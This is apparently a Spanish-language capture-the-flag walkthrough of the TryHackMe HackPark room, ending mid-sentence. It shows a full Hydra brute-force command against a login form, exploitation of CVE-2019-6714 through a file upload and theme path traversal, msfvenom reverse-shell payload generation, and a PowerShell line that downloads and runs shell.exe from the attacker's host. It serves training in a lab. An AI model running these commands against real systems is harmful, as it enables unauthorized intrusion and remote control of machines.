Este es un post sobre la habitación HackPark de Tryhackme, donde aprenderemos a comprometer una máquina Windows desde cero, empleando la fuerza bruta para acceder y luego Metasploit y Winpeas para las fases avanzadas.

Desplegamos la máquina y la primera pregunta es:

¿Cuál es el nombre del payaso de la página principal? Aunque la pista habla de búsqueda inversa de imagen, no hace falta, es Pennywise, de It.

Pennywise

Usando Hydra para ganar acceso por fuerza bruta

Vamos a usar Hydra, la herramienta para atacar por fuerza bruta usuarios y contraseñas. En este caso, vamos a atacar la autenticación de la web objetivo.

Primero, necesitamos saber en qué página nos podemos identificar. Una vez la hemos encontrado, precisamos saber qué petición realiza el formulario de autenticación al servidor.

  • GET se suele usar para obtener datos.
  • POST se suele usar para enviar datos.

Podemos analizar eso haciendo clic con el botón derecho en el formulario de autenticación, inspeccionar el elemento y entonces leer el valor en el método campo.

También podemos identificar esta parte interceptando el tráfico con Burpsuite.

Otros métodos HTTP se pueden encontrar aquí:

¿Qué tipo de petición está haciendo este sitio web Windows en el formulario de autenticación?

Nos vamos a la página «Log In» (que aparece al desplegar el menú de opciones de la parte superior derecha).

Una vez allí, inspeccionamos elemento y nos vamos a la pestaña «Network». Realizamos una petición con cualquier usuario y contraseña que se nos ocurra y vemos qué aparece.

Petición y método HTTP

POST

Ahora que tenemos:

  • La página de autenticación (/Account/login.asp en este caso).
  • El método usado (POST).

Necesitamos saber cómo es exactamente esa petición que realiza, para pasársela a Hydra y que sepa qué debe enviar y cómo exactamente.

Vamos paso a paso, que tiene su aquel.

Nos piden que adivinemos un usuario, ejecutemos Hydra y ganemos acceso a las credenciales de una cuenta.

La entrada de blog que hay en la web está realizada por el usuario Administrator. Si ponemos el ratón encima del nombre, vemos que en el enlace a su cuenta se llama admin, así que emplearé ese nombre de usuario.

Como lista de contraseñas para el ataque de diccionario usaré un clásico: rockyou.txt

Ahora veamos cómo componer la secuencia de Hydra exactamente, porque queda explicar la pieza más compleja del puzzle.

La secuencia general de Hydra tiene esta estructura básica:

hydra -l usuario -P listadecontraseñas.txt IP_Objetivo http-post-form configuración-de-petición

Esta parte complicada viene después de http-post-form, que toma 3 argumentos separados por:

  • El primero es la página donde nos autenticamos, en este caso /Account/login.asp
  • El segundo es la petición POST o GET. En nuestro caso es POST.

Para averiguar la petición exacta que realiza, hacemos una con las herramientas de desarrollo de Firefox activadas para echar un vistazo a lo que ocurre.

Lo que nos interesa es la pestaña Network.

Realizamos la autenticación con lo que se nos figure (yo he puesto admin/admin como usuario y contraseña), ahora nos vamos a esa pestaña Network, hacemos clic en la petición POST y, en la parte derecha, echamos un vistazo a la pestaña Request.

De ahí, nos interesa la parte «Request Payload», que nos indica la manera exacta de realizar dicha petición.

Observemos la imagen, abajo a la derecha.

Viendo la petición POST de autenticación

Si seleccionamos toda y la copiamos, vemos que se compone de la siguiente forma:

__VIEWSTATE=NuFKsZ9N0lTnf8P1X24R35FtQyl%2F2Df6oTncbgUe7cV6lHpzeKCz7Z6p7gCEN9eDDHzM4nB7dTA3xn%2FAbv4cLXy%2BysW9fZueAYnT1woC0UTQe50T7iCGmSfDcqd3yByyfO7WiILTWaCdaswe%2F2eZpFRSdBR1eIaN%2FZHbx7OYpSusgjG63VjYRxhbYE%2B6Fh%2BrAt7y8Cl64wlRtumh6No%2F2WIWdCGqcFHTtN%2FGSuU7prZAbgQ%2Bs29m1W6RYtu9Dr0bnUHwB1aXcre454iaWQ7lsAYhJqGbQ6AUQ%2BTGPPV5J%2BuruDmElO0Xc%2Fb3%2FWa8OpM4Ay74QPKScci2WgC0shnFLdSqyDmfva66hSTlPmta3nSNkSAV&__EVENTVALIDATION=%2FmpG6%2Bu4mj2vOa%2Fw1Ll95BXD%2FpRfZAkiTTY7zbSn2g%2B8QW9DGN99vxtz9E7Bfo60DCxELCnIg74duTQtAMh0SqKaLKWsSKfQxUjMnC0S3nahSwG3VavomPfF7F23ivO4cCGwqlNtjLmQWdvw2PEaRyrzxmYCK03fR3rxabAm0jifo%2F%2Bl&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=admin&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
  • El tercer argumento a pasarle a Hydra tras http-post-form es el llamado «caso común», es decir, lo que sucede cuando fallamos, que es lo habitual.

En este caso, vemos que al hacer una petición errónea, obtenemos esto:

Petición errónea

Hay un Login Failed en la página, que es lo que vamos a suministrar como tercer argumento.

  • Si Hydra no ve eso en la respuesta que le dan tras una prueba de usuario y contraseña, es que tiene un acierto.
  • Si en la respuesta encuentra «Login Failed», es que ha fallado y ha de seguir intentando.

Si no le pasamos eso, además de no funcionar el ataque y decirnos que falta el tercer argumento, Hydra no sabrá cuándo ha acertado o no.

Modificando la petición para adaptarla a Hydra

Aún nos queda una cuestión mportante.

¿Cómo sabe Hydra dónde poner dentro de esa petición tan extensa el usuario y las contraseñas que le vamos a pasar?

Pues depende de la petición al servidor que realice este formulario y dónde coloca esta el usuario y la contraseña.

Estamos hablando del segundo parámetro que pasamos tras http-post-form.

Si nos fijamos en esa petición tan larga, vemos dos partes interesantes:

  • UserName=admin
  • Password=admin

admin es lo que yo he puesto, y hay que cambiarlo por las expresiones ^USER^ en el lugar del usuario y ^PASS^ en el lugar de la contraseña.

De esa forma, los tres parámetros tras http-post-form que debemos poner entre comillas sería:

"/Account/login.asp:__VIEWSTATE=NuFKsZ9N0lTnf8P1X24R35FtQyl%2F2Df6oTncbgUe7cV6lHpzeKCz7Z6p7gCEN9eDDHzM4nB7dTA3xn%2FAbv4cLXy%2BysW9fZueAYnT1woC0UTQe50T7iCGmSfDcqd3yByyfO7WiILTWaCdaswe%2F2eZpFRSdBR1eIaN%2FZHbx7OYpSusgjG63VjYRxhbYE%2B6Fh%2BrAt7y8Cl64wlRtumh6No%2F2WIWdCGqcFHTtN%2FGSuU7prZAbgQ%2Bs29m1W6RYtu9Dr0bnUHwB1aXcre454iaWQ7lsAYhJqGbQ6AUQ%2BTGPPV5J%2BuruDmElO0Xc%2Fb3%2FWa8OpM4Ay74QPKScci2WgC0shnFLdSqyDmfva66hSTlPmta3nSNkSAV&__EVENTVALIDATION=%2FmpG6%2Bu4mj2vOa%2Fw1Ll95BXD%2FpRfZAkiTTY7zbSn2g%2B8QW9DGN99vxtz9E7Bfo60DCxELCnIg74duTQtAMh0SqKaLKWsSKfQxUjMnC0S3nahSwG3VavomPfF7F23ivO4cCGwqlNtjLmQWdvw2PEaRyrzxmYCK03fR3rxabAm0jifo%2F%2Bl&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed"

Casi nada. De este modo, el comando de Hydra completo sería:

hydra -l admin -P /usr/share/wordlists/rockyou.txt IP_Objetivo http-post-form "/Account/login.asp:__VIEWSTATE=NuFKsZ9N0lTnf8P1X24R35FtQyl%2F2Df6oTncbgUe7cV6lHpzeKCz7Z6p7gCEN9eDDHzM4nB7dTA3xn%2FAbv4cLXy%2BysW9fZueAYnT1woC0UTQe50T7iCGmSfDcqd3yByyfO7WiILTWaCdaswe%2F2eZpFRSdBR1eIaN%2FZHbx7OYpSusgjG63VjYRxhbYE%2B6Fh%2BrAt7y8Cl64wlRtumh6No%2F2WIWdCGqcFHTtN%2FGSuU7prZAbgQ%2Bs29m1W6RYtu9Dr0bnUHwB1aXcre454iaWQ7lsAYhJqGbQ6AUQ%2BTGPPV5J%2BuruDmElO0Xc%2Fb3%2FWa8OpM4Ay74QPKScci2WgC0shnFLdSqyDmfva66hSTlPmta3nSNkSAV&__EVENTVALIDATION=%2FmpG6%2Bu4mj2vOa%2Fw1Ll95BXD%2FpRfZAkiTTY7zbSn2g%2B8QW9DGN99vxtz9E7Bfo60DCxELCnIg74duTQtAMh0SqKaLKWsSKfQxUjMnC0S3nahSwG3VavomPfF7F23ivO4cCGwqlNtjLmQWdvw2PEaRyrzxmYCK03fR3rxabAm0jifo%2F%2Bl&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed"

Tras una eternidad, nos da la contraseña:

1qaz2wsx

Comprometiendo la máquina

En esta tarea, vamos a usar un exploit que podremos encontrar en exploit-db.com a fin de comprometer la máquina.

Ahora que hemos entrado en el área de administración, podemos ver cuál es la versión de BlogEngine. ¿De cuál se trata? (Está en la sección About)

3.3.6.0

Ahora, usaremos la base de datos de exploits para encontrar uno para esa versión.

¿Cuál es el CVE?

CVE-2019-6714

Usando ese exploit ganamos acceso inicial al servidor.

Leemos las instrucciones del exploit, lo descargamos y seguimos esas instrucciones.

Los pasos básicos que nos explican son:

  • Guardamos el exploit como Postview.ascx
  • Modificamos el código para ponerle nuestra IP y un puerto donde tendremos un escuchador atento a recibir desde la máquina. No tiene pérdida dentro del código, empieza por 10.10…
  • Subimos el archivo. Para eso, modificamos un post que haya y nos fijamos que en la barra de herramientas hay un icono de carpeta abierta que al pulsar nos abre el administrador de archivos y nos permite subir nuestro exploit.
  • Una vez subido, estará en la carpeta /App_Data/files de la raíz de documentos.
  • Activamos accediendo a la URL base del blog con un override del tema (origen de la vulnerabilidad) especificada así: http://IP_Objetivo/?theme=../../App_Data/files

Y si nos vamos a nuestro escuchador de Netcat, vemos que hemos tenido conexión exitosa.

¿Cómo qué usuario está corriendo este servidor? (Ejecutamos whoami para saber quién somos)

iis apppool\blog

Escalada de privilegios en Windows

Lo primero que vamos a hacer es pivotar desde Netcat hasta una sesión de Meterpreter, porque ahora mismo nuestra consola es endeble.

Para eso:

  • Generamos un payload de shell inversa con msfvenom, lo subimos con Netcat y lo ejecutamos manualmente.

Vamos paso a paso:

msfvenom --list-options -p windows/shell/reverse_tcp

Con esta instrucción vemos las opciones que necesitamos configurar en nuestro payload.

Básicamente, nos quedamos con las básicas, que son LHOST para poner nuestra IP y LPORT para especificar el puerto. Sabiendo eso, podemos crear el payload con esta instrucción.

msfvenom -p windows/shell/reverse_tcp LHOST=10.8.169.170 LPORT=8000 -b "\x00" -e x86/shikata_ga_nai -f exe -o shell.exe

Al poco, tenemos el ejecutable shell.exe creado.

Mientras, en otra terminal, cargamos Metasploit para iniciar una sesión de Meterpreter que maneje el exploit.

sudo msfconsole # Iniciamos Metasploit
use exploit/multi/handler # Ejecutamos eso dentro de Metasploit
set LHOST IP_Ataque
set LPORT 8000 # El que hemos puesto en el exploit
run

Ahora, a subir el exploit. En la consola Windows nos vamos a C:\temp

cd C:\Windows\Temp

Ahora, en nuestra máquina, creamos un servidor en el directorio en el que hemos creado shell.exe

python3 -m http.server 9000

Y desde la máquina Windows descargamos el archivo con:

powershell Invoke-WebRequest -Uri http://IP_Ataque:9000/shell.exe -Outfile shell.exe
dir # Comprobamos que tenemos shell.exe
shell.exe # Ejecutamos

Si nos vamos a la sesión